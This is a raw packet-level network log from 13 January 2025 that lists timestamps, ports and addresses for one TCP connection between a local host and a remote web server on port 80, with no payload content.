Jan 13, 2025 18:53:12.602669954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.602677107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602691889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.602715969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.602813005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.605221033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.615631104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.647363901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.647387028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.647401094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.647416115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.647430897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.647448063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.647517920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.676253080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676269054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676292896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676306963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676320076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.676321983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676336050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676345110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.676353931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676362991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.676366091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676392078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676407099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676417112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.676420927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676428080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.676435947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676450014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676460028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.676465034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676490068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676511049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676515102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.676525116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676533937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.676539898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.676564932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705033064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705045938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705111980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705223083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705236912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705252886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705266953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705266953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705301046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705322027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705344915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705359936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705374002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705388069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705404043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705419064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705449104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705461025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705557108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705570936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705586910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705586910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705619097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705677032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705691099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705705881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705719948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705734968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705734968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705749989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705755949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705765009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705791950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705841064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705883026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705897093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705914021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705936909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705944061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.705950975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705965996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705981016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.705996037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706053972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706176996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706198931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706213951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706229925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706243038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706257105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706259012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706279039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706279993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706295013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706310987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706315041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706326008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706336975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706341028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706353903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706356049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706371069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706384897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706417084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706418037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706758976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706773996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706787109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706800938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706824064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706839085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706855059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706865072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706865072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706870079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706883907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706912994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706928015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706942081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706943035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.706958055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706971884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.706989050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707134962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707329988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707345009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707360029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707374096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707389116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707393885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707405090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707418919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707433939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707463980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707479000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707499981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707500935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707514048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707536936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707552910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707566977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707577944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707577944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707581997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707597017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707628012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707684040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707803965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707818985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707834005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707864046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.707969904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707984924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.707998037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708012104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708026886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708040953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708041906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.708055019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708062887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.708062887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.708070040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708085060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708108902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708123922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708125114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.708138943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708148956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.708153963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708168030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.708170891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708230972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.708431959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708473921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.708544016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.713433981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.724585056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.739146948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.739170074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.739185095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.739201069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.739204884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.739217043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.739232063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.739236116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.739269972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.739408970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.739609003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.767743111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.767757893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.767780066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.767793894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.767806053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.767808914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.767824888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.767832994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.767839909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.767867088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.768002033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.768016100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.768030882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.768049002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.768054962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.768069983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.768084049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.768099070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.768105984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.768105984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.768110991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.768137932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.796849012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.796868086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.796885014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.796910048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.796952963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.796964884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.796977043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.796999931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797020912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797024012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797038078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797049999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797063112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797065020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797080994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797090054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797126055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797141075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797151089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797173977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797194004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797197104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797210932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797225952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797240019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797254086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797265053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797266960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797282934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797297001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797307014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797311068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797322989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797349930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797430038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797444105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797525883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797530890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797538042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797554970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797569990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797584057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797585011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797614098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797641039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797686100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797699928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797714949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797718048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797758102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797772884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797785997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797786951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797801971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797817945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797837973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.797878981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797893047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797909021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797921896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797939062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.797952890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798007011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798037052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798052073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798074007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798089027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798104048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798105955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798119068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798135042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798141956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798150063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798181057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798213005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798327923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798342943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798357010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798388004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798441887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798455954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798470974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798485994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798489094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798501015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798511028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798516989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798532963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798547029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798562050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798608065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798835993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798851967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798866987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798882008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798897028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798897982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798912048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798926115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.798927069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.798954010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799009085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799032927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799046993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799061060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799134970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799140930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799154997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799171925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799185991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799190998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799202919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799211025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799233913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799248934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799261093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799285889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799300909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799313068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799329042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799344063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799357891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799361944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799371958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799386978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799401999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799416065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799417973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799429893 CET	80	49730	193.143.1.205	192.168.2.4
